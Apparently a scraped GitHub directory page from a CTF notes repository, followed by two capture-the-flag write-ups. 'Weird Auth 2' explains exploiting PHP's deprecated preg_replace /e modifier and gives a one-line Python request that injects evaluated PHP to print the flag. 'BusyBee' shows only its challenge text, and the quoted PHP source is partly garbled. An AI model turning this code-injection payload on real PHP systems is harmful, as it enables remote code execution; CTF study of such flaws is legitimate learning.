<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/73696e65/ctf-notes/security/overall-count" accept="text/fragment+html"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span>
<div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav>
</div>
<turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " >
<div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div >
<div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":66079706,"originating_url":"https://github.com/73696e65/ctf-notes/tree/master/2016-securityfest.ctf.rocks","user_id":null}}" data-hydro-click-hmac="0586a9be1ca12395df12bc7a74be47cd621b54fd3660d83086037692a06d0ff4"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary>
<div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header>
<input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div>
<div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div>
<div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/73696e65/ctf-notes/refs" cache-key="v0:1471608406.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="NzM2OTZlNjUvY3RmLW5vdGVz" prefetch-on-mouseover >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<footer class="SelectMenu-footer">View all branches</footer> </ref-selector>
</div>
<div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/73696e65/ctf-notes/refs" cache-key="v0:1471608406.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="NzM2OTZlNjUvY3RmLW5vdGVz" >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
</details>
</div>
<div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div>
</div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div>
<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctf-notes</span></span></span><span>/</span>2016-securityfest.ctf.rocks<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>ctf-notes</span></span></span><span>/</span>2016-securityfest.ctf.rocks<span>/</span></div>
<div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/73696e65/ctf-notes/tree-commit/ee42ba5c36e20becf5b2273d73190482e3ec41e0/2016-securityfest.ctf.rocks" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
<include-fragment src="/73696e65/ctf-notes/file-list/master/2016-securityfest.ctf.rocks"> Permalink
<div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information.
</div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
<div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>defacer-web.txt</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>flagship-pwn.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>notuslotes</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>notuslotes-pwn.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>tv-station-pwn.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> </div> </div>
</include-fragment>
</div>
</div>
</div>
</div>
</turbo-frame>
</main> </div>
</div>
<footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2>
<div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div>
<nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div>
<div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer>
<div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div>
<div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div>
<template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template>
</div>
<div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
|
# Weird Auth 2 - Writeup
## Problem text
Vampire is keen on hacking wierd authentication schemes. He recently pwned this. The source of submit.php is here
## Source for submit.php
```php5) { p("Unacceptable key!"); die; }}
$unlockedPassage = preg_replace($password, $key, $lockedPassage);
if($unlockedPassage === $actualPassage){ p("Congrats! you found the correct password :): "); p($f); }else{ p("You must enter the correct password to get the flag!"); p($actualPassage);}```
There is some *evil* code on the login page to trying to divert you from the real issue on this challenge. The following line is where the problem resides: ```php$unlockedPassage = preg_replace($password, $key, $lockedPassage);```Fortunately we can controll both the $password and the $key, and even more fortunately with little effort we can find out that the php version in which the challenge is running is 5.5.9.
There is a known 'problem' to the preg_replace function in earlier versions of php due to the /e modifier. This modifier documentation is as follows:
```WarningThis feature was DEPRECATED in PHP 5.5.0, and REMOVED as of PHP 7.0.0.If this deprecated modifier is set, preg_replace() does normal substitution of backreferences in the replacement string, evaluates it as PHP code, and uses the result for replacing the search string. Single quotes, double quotes, backslashes (\) and NULL chars will be escaped by backslashes in substituted backreferences.```
What this means is that if you use the /e modifier, replacement string ($key - in our case) will be interpreted as php script :) Fortunately, even with the sanity checks of $key (is_string and length <= 5) vampire left us a way to print out the flag.
```php p($f)```
# SolutionTo solve this problem we just need a little python script to make the correct request
```pythonimport requestsimport sys
r = requests.post("http://hack.bckdr.in/WIERD-AUTH2/submit.php", data={'password': '//e', 'key': 'p($f)'})sys.stdout.write(r.text[:75])```And voilá!
|
# BusyBee - Writeup
## Problem text
A deadly virus is killing bees in Busybee's village Busybox, India. Unfortuantely, you have to go to the village to fight the infection. Get the flag virus out of the infected files. Village address: http://hack.bckdr.in/BUSYBEE/infected.tar
